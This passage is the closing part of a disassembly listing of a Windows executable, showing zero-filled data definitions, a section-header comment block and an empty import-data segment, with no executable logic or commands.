dd 331B330Eh, 33B4335Bh, 35D4356Eh, 3623361Fh, 3633h, 2C0h dup(0)
d7bjfs2n ends
; Section 7. (virtual address 0002E000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0002E000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 42E000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start